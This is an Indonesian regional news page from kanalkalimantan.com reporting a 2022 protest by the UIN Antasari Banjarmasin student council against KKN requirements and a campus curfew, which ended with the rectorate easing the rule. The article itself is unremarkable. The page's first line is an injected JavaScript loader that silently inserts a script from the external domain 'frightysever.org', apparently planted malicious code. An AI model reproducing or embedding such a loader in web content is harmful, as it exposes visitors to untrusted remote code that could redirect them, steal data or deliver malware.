(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Protes Syarat KKN dan Jam Malam Kampus, DEMA UIN Antasari Gelar Demo di Rektorat


KANALKALIMANTAN.COM, BANJARMASIN – Puluhan mahasiswa yang tergabung Dewan Mahasiswa Eksekutif (DEMA) UIN Antasari Banjarmasin melakukan aksi di depan Rektorat UIN Antasari Banjarmasin Jalan A. Yani Km 4,5 pada Selasa (2/8/2022).

Aksi DEMA UIN Antasari dipicu beratnya persyaratan yang ditetapkan kampus kepada mahasiswa untuk menempuh Kuliah Kerja Nyata (KKN) yang merupakan salah satu kewajiban mahasiswa.

Salah satu dari beberapa syarat KKN yang menurut mahasiswa memberatkan mereka yaitu sudah harus melaksanakan seminar proposal skripsi berdasarkan SK Rektor No.390 Tahun 2022 tentang Pedoman Akademik UIN Antasari Banjarmasin.

Sementara itu point tuntutan lainnya yaitu mengenai kebebasan mahasiswa yang selama ini dibatasi oleh pihak kampus. Di antaranya masih diberlakukan jam malam di lingkungan kampus sehingga mahasiswa tidak dapat bebas melakukan kegiatan kampus pada malam hari.

 

Baca juga  : BPK Ankesa HSU Terima Hadiah Lomba Ketangkasan BPK Se Kalsel

Ketua Umum DEMA UIN Antasari Yogi Ilmawan mengatakan bahwa masukan-masukan yang mereka berikan tidak pernah digubris oleh pihak rektorat/kampus.

“Kami sudah sering melakukan audiensi untuk mengutarakan keresahan mahasiswa, tapi tidak pernah diakomodir,” katanya.

Sempat terjadi bersitegang antara masa aksi dengan pihak perwakilan rektorat ketika masa DEMA menginginkan Rektor UIN Antasari menemui mereka langsung agar mendengarkan tuntutan mereka.

Sementara itu Wakil Rektor  Kemahasiswaan yang menemui masa mengatakan bahwa pihak rektorat bersedia melakukan dialog bersama perwakilan mahasiswa untuk mencari solusi.

 

Baca juga  : Bupati Saidi Mansyur Melantik Dua Pejabat Baru di Disdukcapil Banjar

“Kalau ingin bertemu dengan Pak Rektor, beliau telah mempersiapkan diri bertemu dengan perwakilan kalian,” katanya.

Aksi berakhir dengan difasilitasinya perwakilan Dema untuk bertemu dengan rektor dan melakukan dialog di Auditorium Kampus UIN Antasari Banjarmasin.

Dari hasil dialog, pihak rektorat akan memberikan keringan terkait persyaratan KKN dari yang awalnya harus melampirkan surat telah seminar skripsi menjadi hanya melampirkan surat telah memasukan Proposal Skripsi ke biro skripsi dan pemberlakuan SK rektor No.390 Tahun 2022 tentang Pedoman Akademik UIN Antasari Banjarmasin ditunda untuk sementara selama sosialisasi berlangsung.(kanalkalimantan.com/rizki)

Reporter : rizki
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.